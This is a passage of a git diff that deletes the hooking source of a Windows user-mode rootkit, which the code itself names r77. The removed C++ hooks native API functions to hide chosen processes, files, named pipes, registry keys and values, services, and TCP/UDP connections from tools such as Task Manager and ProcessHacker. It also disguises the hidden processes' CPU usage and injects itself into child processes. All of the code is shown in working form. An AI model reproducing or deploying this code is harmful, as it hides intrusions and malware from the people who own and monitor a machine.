- if (current->NextEntryOffset) systemInformation = (LPBYTE)systemInformation + current->NextEntryOffset;
- else systemInformation = NULL;
- }
- }
- else
- {
- previous = current;
- }
-
- if (current->NextEntryOffset) current = (nt::PSYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset);
- else current = NULL;
- }
-
- // Add CPU usage of hidden processes to the System Idle Process.
- for (nt::PSYSTEM_PROCESS_INFORMATION current = (nt::PSYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;)
- {
- if (current->ProcessId == 0)
- {
- current->KernelTime.QuadPart += hiddenKernelTime.QuadPart;
- current->UserTime.QuadPart += hiddenUserTime.QuadPart;
- current->CycleTime += hiddenCycleTime;
- break;
- }
-
- previous = current;
-
- if (current->NextEntryOffset) current = (nt::PSYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset);
- else current = NULL;
- }
- }
- // Hide CPU usage
- else if (systemInformationClass == nt::SYSTEM_INFORMATION_CLASS::SystemProcessorPerformanceInformation)
- {
- // ProcessHacker graph per CPU
- LARGE_INTEGER hiddenKernelTime = { 0 };
- LARGE_INTEGER hiddenUserTime = { 0 };
- if (GetProcessHiddenTimes(&hiddenKernelTime, &hiddenUserTime, NULL))
- {
- ULONG numberOfProcessors = newReturnLength / sizeof(nt::SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION);
- for (ULONG i = 0; i < numberOfProcessors; i++)
- {
- //TODO: This works, but it needs to be on a per-cpu basis instead of x / numberOfProcessors
- nt::PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION performanceInformation = &((nt::PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION)systemInformation)[i];
- performanceInformation->KernelTime.QuadPart += hiddenUserTime.QuadPart / numberOfProcessors;
- performanceInformation->UserTime.QuadPart -= hiddenUserTime.QuadPart / numberOfProcessors;
- performanceInformation->IdleTime.QuadPart += (hiddenKernelTime.QuadPart + hiddenUserTime.QuadPart) / numberOfProcessors;
- }
- }
- }
- // Hide CPU usage
- else if (systemInformationClass == nt::SYSTEM_INFORMATION_CLASS::SystemProcessorIdleCycleTimeInformation)
- {
- // ProcessHacker graph for all CPU's
- LONGLONG hiddenCycleTime = 0;
- if (GetProcessHiddenTimes(NULL, NULL, &hiddenCycleTime))
- {
- ULONG numberOfProcessors = newReturnLength / sizeof(LARGE_INTEGER);
- for (ULONG i = 0; i < numberOfProcessors; i++)
- {
- ((PLARGE_INTEGER)systemInformation)[i].QuadPart += hiddenCycleTime / numberOfProcessors;
- }
- }
- }
- }
-
- return status;
-}
-NTSTATUS NTAPI Hooks::HookedNtResumeThread(HANDLE thread, PULONG suspendCount)
-{
- // Child process hooking:
- // When a process is created, its parent process calls NtResumeThread to start the new process after process creation is completed.
- // At this point, the process is suspended and should be injected. After injection is completed, NtResumeThread should be called.
- // To inject the process, a connection to the r77 service is performed through a named pipe.
- // Because a 32-bit process can create a 64-bit child process, or vice versa, injection cannot be performed here.
-
- DWORD processId = GetProcessIdOfThread(thread);
- if (processId != GetCurrentProcessId()) // If NtResumeThread is called on this process, it is not a child process
- {
- // This function returns, *after* injection is completed.
- HookChildProcess(processId);
- }
-
- return OriginalNtResumeThread(thread, suspendCount);
-}
-NTSTATUS NTAPI Hooks::HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, nt::FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan)
-{
- NTSTATUS status = OriginalNtQueryDirectoryFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, returnSingleEntry, fileName, restartScan);
-
- // Hide files, directories and named pipes
- if (NT_SUCCESS(status) && (fileInformationClass == nt::FILE_INFORMATION_CLASS::FileDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileFullDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileIdFullDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileBothDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileIdBothDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileNamesInformation))
- {
- LPVOID current = fileInformation;
- LPVOID previous = NULL;
- ULONG nextEntryOffset;
-
- WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 };
- WCHAR fileFileName[MAX_PATH + 1] = { 0 };
- WCHAR fileFullPath[MAX_PATH + 1] = { 0 };
-
- if (GetFileType(fileHandle) == FILE_TYPE_PIPE) lstrcpyW(fileDirectoryPath, L"\\\\.\\pipe\\");
- else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH);
-
- do
- {
- nextEntryOffset = FileInformationGetNextEntryOffset(current, fileInformationClass);
-
- if (Rootkit::HasPrefix(FileInformationGetName(current, fileInformationClass, fileFileName)) || Config::IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(current, fileInformationClass, fileFileName))))
- {
- if (nextEntryOffset)
- {
- RtlCopyMemory
- (
- current,
- (LPBYTE)current + nextEntryOffset,
- (ULONG)(length - ((ULONGLONG)current - (ULONGLONG)fileInformation) - nextEntryOffset)
- );
- continue;
- }
- else
- {
- if (current == fileInformation) status = STATUS_NO_MORE_FILES;
- else FileInformationSetNextEntryOffset(previous, fileInformationClass, 0);
- break;
- }
- }
-
- previous = current;
- current = (LPBYTE)current + nextEntryOffset;
- }
- while (nextEntryOffset);
- }
-
- return status;
-}
-NTSTATUS NTAPI Hooks::HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, nt::FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName)
-{
- NTSTATUS status = OriginalNtQueryDirectoryFileEx(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, queryFlags, fileName);
-
- // Hide files, directories and named pipes
- // Some applications (e.g. cmd.exe) use NtQueryDirectoryFileEx instead of NtQueryDirectoryFile.
- if (NT_SUCCESS(status) && (fileInformationClass == nt::FILE_INFORMATION_CLASS::FileDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileFullDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileIdFullDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileBothDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileIdBothDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileNamesInformation))
- {
- WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 };
- WCHAR fileFileName[MAX_PATH + 1] = { 0 };
- WCHAR fileFullPath[MAX_PATH + 1] = { 0 };
-
- if (GetFileType(fileHandle) == FILE_TYPE_PIPE) lstrcpyW(fileDirectoryPath, L"\\\\.\\pipe\\");
- else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH);
-
- if (queryFlags & SL_RETURN_SINGLE_ENTRY)
- {
- // When returning a single entry, skip until the first item is found that is not hidden.
- for (bool skip = Rootkit::HasPrefix(FileInformationGetName(fileInformation, fileInformationClass, fileFileName)) || Config::IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass, fileFileName))); skip; skip = Rootkit::HasPrefix(FileInformationGetName(fileInformation, fileInformationClass, fileFileName)) || Config::IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass, fileFileName))))
- {
- status = OriginalNtQueryDirectoryFileEx(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, queryFlags, fileName);
- if (status) break;
- }
- }
- else
- {
- LPVOID current = fileInformation;
- LPVOID previous = NULL;
- ULONG nextEntryOffset;
-
- do
- {
- nextEntryOffset = FileInformationGetNextEntryOffset(current, fileInformationClass);
-
- if (Rootkit::HasPrefix(FileInformationGetName(current, fileInformationClass, fileFileName)) || Config::IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(current, fileInformationClass, fileFileName))))
- {
- if (nextEntryOffset)
- {
- RtlCopyMemory
- (
- current,
- (LPBYTE)current + nextEntryOffset,
- (ULONG)(length - ((ULONGLONG)current - (ULONGLONG)fileInformation) - nextEntryOffset)
- );
- continue;
- }
- else
- {
- if (current == fileInformation) status = STATUS_NO_MORE_FILES;
- else FileInformationSetNextEntryOffset(previous, fileInformationClass, 0);
- break;
- }
- }
-
- previous = current;
- current = (LPBYTE)current + nextEntryOffset;
- }
- while (nextEntryOffset);
- }
- }
-
- return status;
-}
-NTSTATUS NTAPI Hooks::HookedNtEnumerateKey(HANDLE key, ULONG index, nt::KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength)
-{
- NTSTATUS status = OriginalNtEnumerateKey(key, index, keyInformationClass, keyInformation, keyInformationLength, resultLength);
-
- // Implement hiding of registry keys by correcting the index in NtEnumerateKey.
- if (status == ERROR_SUCCESS && (keyInformationClass == nt::KEY_INFORMATION_CLASS::KeyBasicInformation || keyInformationClass == nt::KEY_INFORMATION_CLASS::KeyNameInformation))
- {
- for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++)
- {
- status = OriginalNtEnumerateKey(key, i, keyInformationClass, keyInformation, keyInformationLength, resultLength);
-
- if (!Rootkit::HasPrefix(KeyInformationGetName(keyInformation, keyInformationClass)))
- {
- newIndex++;
- }
- }
- }
-
- return status;
-}
-NTSTATUS NTAPI Hooks::HookedNtEnumerateValueKey(HANDLE key, ULONG index, nt::KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength)
-{
- NTSTATUS status = OriginalNtEnumerateValueKey(key, index, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);
-
- // Implement hiding of registry values by correcting the index in NtEnumerateValueKey.
- if (status == ERROR_SUCCESS && (keyValueInformationClass == nt::KEY_VALUE_INFORMATION_CLASS::KeyValueBasicInformation || keyValueInformationClass == nt::KEY_VALUE_INFORMATION_CLASS::KeyValueFullInformation))
- {
- for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++)
- {
- status = OriginalNtEnumerateValueKey(key, i, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);
-
- if (!Rootkit::HasPrefix(KeyValueInformationGetName(keyValueInformation, keyValueInformationClass)))
- {
- newIndex++;
- }
- }
- }
-
- return status;
-}
-BOOL WINAPI Hooks::HookedEnumServiceGroupW(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved)
-{
- // services.msc
- BOOL result = OriginalEnumServiceGroupW(serviceManager, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, reserved);
-
- if (result && services && servicesReturned)
- {
- ProcessEnumServices(ServiceStructType::ENUM_SERVICE_STATUSW, services, servicesReturned);
- }
-
- return result;
-}
-BOOL WINAPI Hooks::HookedEnumServicesStatusExW(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName)
-{
- // TaskMgr (Windows 7), ProcessHacker
- BOOL result = OriginalEnumServicesStatusExW(serviceManager, infoLevel, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, groupName);
-
- if (result && services && servicesReturned)
- {
- ProcessEnumServices(ServiceStructType::ENUM_SERVICE_STATUS_PROCESSW, services, servicesReturned);
- }
-
- return result;
-}
-BOOL WINAPI Hooks::HookedEnumServicesStatusExW2(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName)
-{
- // TaskMgr (Windows 10 uses sechost.dll instead of advapi32.dll)
- BOOL result = OriginalEnumServicesStatusExW2(serviceManager, infoLevel, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, groupName);
-
- if (result && services && servicesReturned)
- {
- ProcessEnumServices(ServiceStructType::ENUM_SERVICE_STATUS_PROCESSW, services, servicesReturned);
- }
-
- return result;
-}
-NTSTATUS NTAPI Hooks::HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength)
-{
- NTSTATUS status = OriginalNtDeviceIoControlFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, ioControlCode, inputBuffer, inputBufferLength, outputBuffer, outputBufferLength);
-
- if (NT_SUCCESS(status))
- {
- // Hide TCP and UDP entries
- if (ioControlCode == IOCTL_NSI_GETALLPARAM && outputBuffer && outputBufferLength == sizeof(nt::NSI_PARAM))
- {
- // Check, if the device is "\Device\Nsi"
- BYTE deviceName[100];
- if (NT_SUCCESS(nt::NtQueryObject(fileHandle, nt::OBJECT_INFORMATION_CLASS::ObjectNameInformation, deviceName, 100, NULL)) &&
- !_wcsnicmp(DEVICE_NSI, ((PUNICODE_STRING)deviceName)->Buffer, sizeof(DEVICE_NSI) / sizeof(WCHAR)))
- {
- nt::PNSI_PARAM nsiParam = (nt::PNSI_PARAM)outputBuffer;
- if (nsiParam->Entries && (nsiParam->Type == nt::NSI_PARAM_TYPE::Tcp || nsiParam->Type == nt::NSI_PARAM_TYPE::Udp))
- {
- // The status and process table may be NULL and must be checked.
- nt::PNSI_TCP_ENTRY tcpEntries = (nt::PNSI_TCP_ENTRY)nsiParam->Entries;
- nt::PNSI_UDP_ENTRY udpEntries = (nt::PNSI_UDP_ENTRY)nsiParam->Entries;
- nt::PNSI_STATUS_ENTRY statusEntries = (nt::PNSI_STATUS_ENTRY)nsiParam->StatusEntries;
- nt::PNSI_PROCESS_ENTRY processEntries = (nt::PNSI_PROCESS_ENTRY)nsiParam->ProcessEntries;
-
- WCHAR processName[MAX_PATH + 1];
-
- for (DWORD i = 0; i < nsiParam->Count; i++)
- {
- processName[0] = L'\0';
-
- BOOL hidden = FALSE;
- if (nsiParam->Type == nt::NSI_PARAM_TYPE::Tcp)
- {
- if (processEntries) GetProcessFileName(processEntries[i].TcpProcessId, FALSE, processName, MAX_PATH);
-
- hidden =
- Config::IsTcpLocalPortHidden(_byteswap_ushort(tcpEntries[i].Local.Port)) ||
- Config::IsTcpRemotePortHidden(_byteswap_ushort(tcpEntries[i].Remote.Port)) ||
- processEntries && Config::IsProcessIdHidden(processEntries[i].TcpProcessId) ||
- Config::IsProcessNameHidden(processName) ||
- Rootkit::HasPrefix(processName);
- }
- else if (nsiParam->Type == nt::NSI_PARAM_TYPE::Udp)
- {
- if (processEntries) GetProcessFileName(processEntries[i].UdpProcessId, FALSE, processName, MAX_PATH);
-
- hidden =
- Config::IsUdpPortHidden(_byteswap_ushort(udpEntries[i].Port)) ||
- processEntries && Config::IsProcessIdHidden(processEntries[i].UdpProcessId) ||
- Config::IsProcessNameHidden(processName) ||
- Rootkit::HasPrefix(processName);
- }
-
- // If hidden, move all following entries up by one and decrease count.
- if (hidden)
- {
- if (i < nsiParam->Count - 1)
- {
- if (nsiParam->Type == nt::NSI_PARAM_TYPE::Tcp)
- {
- RtlMoveMemory(&tcpEntries[i], &tcpEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->EntrySize);
- }
- else if (nsiParam->Type == nt::NSI_PARAM_TYPE::Udp)
- {
- RtlMoveMemory(&udpEntries[i], &udpEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->EntrySize);
- }
-
- if (statusEntries) RtlMoveMemory(&statusEntries[i], &statusEntries[i + 1], (nsiParam->Count - i - 1) * sizeof(nt::NSI_STATUS_ENTRY));
- if (processEntries) RtlMoveMemory(&processEntries[i], &processEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->ProcessEntrySize);
- }
-
- nsiParam->Count--;
- i--;
- }
- }
- }
- }
- }
- }
-
- return status;
-}
-
-bool Hooks::GetProcessHiddenTimes(PLARGE_INTEGER hiddenKernelTime, PLARGE_INTEGER hiddenUserTime, PLONGLONG hiddenCycleTime)
-{
- // Count hidden CPU usage explicitly instead of waiting for a call to NtQuerySystemInformation(SystemProcessInformation).
- // Task managers call NtQuerySystemInformation(SystemProcessInformation) also, but not necessarily in a matching frequency.
-
- bool result = false;
- LPBYTE systemInformation = new BYTE[1024 * 1024 * 2];
- ULONG returnLength;
-
- if (NT_SUCCESS(OriginalNtQuerySystemInformation(nt::SYSTEM_INFORMATION_CLASS::SystemProcessInformation, systemInformation, 1024 * 1024 * 2, &returnLength)))
- {
- if (hiddenKernelTime) hiddenKernelTime->QuadPart = 0;
- if (hiddenUserTime) hiddenUserTime->QuadPart = 0;
- if (hiddenCycleTime) *hiddenCycleTime = 0;
-
- for (nt::PSYSTEM_PROCESS_INFORMATION current = (nt::PSYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;)
- {
- if (Rootkit::HasPrefix(current->ImageName) || Config::IsProcessIdHidden((DWORD)(DWORD_PTR)current->ProcessId) || Config::IsProcessNameHidden(current->ImageName))
- {
- if (hiddenKernelTime) hiddenKernelTime->QuadPart += current->KernelTime.QuadPart;
- if (hiddenUserTime) hiddenUserTime->QuadPart += current->UserTime.QuadPart;
- if (hiddenCycleTime) *hiddenCycleTime += current->CycleTime;
- }
-
- previous = current;
-
- if (current->NextEntryOffset) current = (nt::PSYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset);
- else current = NULL;
- }
-
- result = true;
- }
-
- delete[] systemInformation;
- return result;
-}
-LPWSTR Hooks::CreatePath(LPWSTR result, LPCWSTR directoryName, LPCWSTR fileName)
-{
- // PathCombineW cannot be used with the directory name "\\.\pipe\".
- if (!lstrcmpiW(directoryName, L"\\\\.\\pipe\\"))
- {
- lstrcpyW(result, directoryName);
- lstrcatW(result, fileName);
- return result;
- }
- else
- {
- return PathCombineW(result, directoryName, fileName);
- }
-}
-LPWSTR Hooks::FileInformationGetName(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass, LPWSTR name)
-{
- PWCHAR fileName = NULL;
- ULONG fileNameLength = 0;
-
- switch (fileInformationClass)
- {
- case nt::FILE_INFORMATION_CLASS::FileDirectoryInformation:
- fileName = ((nt::PFILE_DIRECTORY_INFORMATION)fileInformation)->FileName;
- fileNameLength = ((nt::PFILE_DIRECTORY_INFORMATION)fileInformation)->FileNameLength;
- break;
- case nt::FILE_INFORMATION_CLASS::FileFullDirectoryInformation:
- fileName = ((nt::PFILE_FULL_DIR_INFORMATION)fileInformation)->FileName;
- fileNameLength = ((nt::PFILE_FULL_DIR_INFORMATION)fileInformation)->FileNameLength;
- break;
- case nt::FILE_INFORMATION_CLASS::FileIdFullDirectoryInformation:
- fileName = ((nt::PFILE_ID_FULL_DIR_INFORMATION)fileInformation)->FileName;
- fileNameLength = ((nt::PFILE_ID_FULL_DIR_INFORMATION)fileInformation)->FileNameLength;
- break;
- case nt::FILE_INFORMATION_CLASS::FileBothDirectoryInformation:
- fileName = ((nt::PFILE_BOTH_DIR_INFORMATION)fileInformation)->FileName;
- fileNameLength = ((nt::PFILE_BOTH_DIR_INFORMATION)fileInformation)->FileNameLength;
- break;
- case nt::FILE_INFORMATION_CLASS::FileIdBothDirectoryInformation:
- fileName = ((nt::PFILE_ID_BOTH_DIR_INFORMATION)fileInformation)->FileName;
- fileNameLength = ((nt::PFILE_ID_BOTH_DIR_INFORMATION)fileInformation)->FileNameLength;
- break;
- case nt::FILE_INFORMATION_CLASS::FileNamesInformation:
- fileName = ((nt::PFILE_NAMES_INFORMATION)fileInformation)->FileName;
- fileNameLength = ((nt::PFILE_NAMES_INFORMATION)fileInformation)->FileNameLength;
- break;
- }
-
- if (fileName && fileNameLength > 0)
- {
- wmemcpy(name, fileName, fileNameLength / sizeof(WCHAR));
- name[fileNameLength / sizeof(WCHAR)] = L'\0';
- return name;
- }
- else
- {
- return NULL;
- }
-}
-ULONG Hooks::FileInformationGetNextEntryOffset(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass)
-{
- switch (fileInformationClass)
- {
- case nt::FILE_INFORMATION_CLASS::FileDirectoryInformation:
- return ((nt::PFILE_DIRECTORY_INFORMATION)fileInformation)->NextEntryOffset;
- case nt::FILE_INFORMATION_CLASS::FileFullDirectoryInformation:
- return ((nt::PFILE_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset;
- case nt::FILE_INFORMATION_CLASS::FileIdFullDirectoryInformation:
- return ((nt::PFILE_ID_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset;
- case nt::FILE_INFORMATION_CLASS::FileBothDirectoryInformation:
- return ((nt::PFILE_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset;
- case nt::FILE_INFORMATION_CLASS::FileIdBothDirectoryInformation:
- return ((nt::PFILE_ID_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset;
- case nt::FILE_INFORMATION_CLASS::FileNamesInformation:
- return ((nt::PFILE_NAMES_INFORMATION)fileInformation)->NextEntryOffset;
- default:
- return 0;
- }
-}
-void Hooks::FileInformationSetNextEntryOffset(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass, ULONG value)
-{
- switch (fileInformationClass)
- {
- case nt::FILE_INFORMATION_CLASS::FileDirectoryInformation:
- ((nt::PFILE_DIRECTORY_INFORMATION)fileInformation)->NextEntryOffset = value;
- break;
- case nt::FILE_INFORMATION_CLASS::FileFullDirectoryInformation:
- ((nt::PFILE_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset = value;
- break;
- case nt::FILE_INFORMATION_CLASS::FileIdFullDirectoryInformation:
- ((nt::PFILE_ID_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset = value;
- break;
- case nt::FILE_INFORMATION_CLASS::FileBothDirectoryInformation:
- ((nt::PFILE_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset = value;
- break;
- case nt::FILE_INFORMATION_CLASS::FileIdBothDirectoryInformation:
- ((nt::PFILE_ID_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset = value;
- break;
- case nt::FILE_INFORMATION_CLASS::FileNamesInformation:
- ((nt::PFILE_NAMES_INFORMATION)fileInformation)->NextEntryOffset = value;
- break;
- }
-}
-PWCHAR Hooks::KeyInformationGetName(LPVOID keyInformation, nt::KEY_INFORMATION_CLASS keyInformationClass)
-{
- switch (keyInformationClass)
- {
- case nt::KEY_INFORMATION_CLASS::KeyBasicInformation:
- return ((nt::PKEY_BASIC_INFORMATION)keyInformation)->Name;
- case nt::KEY_INFORMATION_CLASS::KeyNameInformation:
- return ((nt::PKEY_NAME_INFORMATION)keyInformation)->Name;
- default:
- return NULL;
- }
-}
-PWCHAR Hooks::KeyValueInformationGetName(LPVOID keyValueInformation, nt::KEY_VALUE_INFORMATION_CLASS keyValueInformationClass)
-{
- switch (keyValueInformationClass)
- {
- case nt::KEY_VALUE_INFORMATION_CLASS::KeyValueBasicInformation:
- return ((nt::PKEY_VALUE_BASIC_INFORMATION)keyValueInformation)->Name;
- case nt::KEY_VALUE_INFORMATION_CLASS::KeyValueFullInformation:
- return ((nt::PKEY_VALUE_FULL_INFORMATION)keyValueInformation)->Name;
- default:
- return NULL;
- }
-}
-void Hooks::ProcessEnumServices(ServiceStructType type, LPBYTE services, LPDWORD servicesReturned)
-{
- if (type == ServiceStructType::ENUM_SERVICE_STATUSW)
- {
- LPENUM_SERVICE_STATUSW serviceList = (LPENUM_SERVICE_STATUSW)services;
-
- for (DWORD i = 0; i < *servicesReturned; i++)
- {
- // If hidden, move all following entries up by one and decrease count.
- if (Rootkit::HasPrefix(serviceList[i].lpServiceName) ||
- Rootkit::HasPrefix(serviceList[i].lpDisplayName) ||
- Config::IsServiceNameHidden(serviceList[i].lpServiceName) ||
- Config::IsServiceNameHidden(serviceList[i].lpDisplayName))
- {
- RtlMoveMemory(&serviceList[i], &serviceList[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUSW));
- (*servicesReturned)--;
- i--;
- }
- }
- }
- else if (type == ServiceStructType::ENUM_SERVICE_STATUS_PROCESSW)
- {
- LPENUM_SERVICE_STATUS_PROCESSW serviceList = (LPENUM_SERVICE_STATUS_PROCESSW)services;
-
- for (DWORD i = 0; i < *servicesReturned; i++)
- {
- // If hidden, move all following entries up by one and decrease count.
- if (Rootkit::HasPrefix(serviceList[i].lpServiceName) ||
- Rootkit::HasPrefix(serviceList[i].lpDisplayName) ||
- Config::IsServiceNameHidden(serviceList[i].lpServiceName) ||
- Config::IsServiceNameHidden(serviceList[i].lpDisplayName))
- {
- RtlMoveMemory(&serviceList[i], &serviceList[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUS_PROCESSW));
- (*servicesReturned)--;
- i--;
- }
- }
- }
-}
\ No newline at end of file
diff --git a/src/r77/Hooks.h b/src/r77/Hooks.h
deleted file mode 100644
index 8df7f60..0000000
--- a/src/r77/Hooks.h
+++ /dev/null
@@ -1,57 +0,0 @@
-///
-/// Implementation of hooked functions.
-///
-class Hooks
-{
-private:
- enum class ServiceStructType
- {
- ENUM_SERVICE_STATUSW,
- ENUM_SERVICE_STATUS_PROCESSW
- };
-
- static bool IsInitialized;
-
- static nt::NTQUERYSYSTEMINFORMATION OriginalNtQuerySystemInformation;
- static nt::NTRESUMETHREAD OriginalNtResumeThread;
- static nt::NTQUERYDIRECTORYFILE OriginalNtQueryDirectoryFile;
- static nt::NTQUERYDIRECTORYFILEEX OriginalNtQueryDirectoryFileEx;
- static nt::NTENUMERATEKEY OriginalNtEnumerateKey;
- static nt::NTENUMERATEVALUEKEY OriginalNtEnumerateValueKey;
- static nt::ENUMSERVICEGROUPW OriginalEnumServiceGroupW;
- static nt::ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW;
- static nt::ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW2;
- static nt::NTDEVICEIOCONTROLFILE OriginalNtDeviceIoControlFile;
-
- static void InstallHook(LPCSTR dll, LPCSTR function, LPVOID *originalFunction, LPVOID hookedFunction);
- static void UninstallHook(LPVOID originalFunction, LPVOID hookedFunction);
-
- static NTSTATUS NTAPI HookedNtQuerySystemInformation(nt::SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength);
- static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount);
- static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, nt::FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan);
- static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, nt::FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName);
- static NTSTATUS NTAPI HookedNtEnumerateKey(HANDLE key, ULONG index, nt::KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength);
- static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index, nt::KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength);
- static BOOL WINAPI HookedEnumServiceGroupW(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved);
- static BOOL WINAPI HookedEnumServicesStatusExW(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName);
- static BOOL WINAPI HookedEnumServicesStatusExW2(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName);
- static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength);
-
- static bool GetProcessHiddenTimes(PLARGE_INTEGER hiddenKernelTime, PLARGE_INTEGER hiddenUserTime, PLONGLONG hiddenCycleTime);
- static LPWSTR CreatePath(LPWSTR result, LPCWSTR directoryName, LPCWSTR fileName);
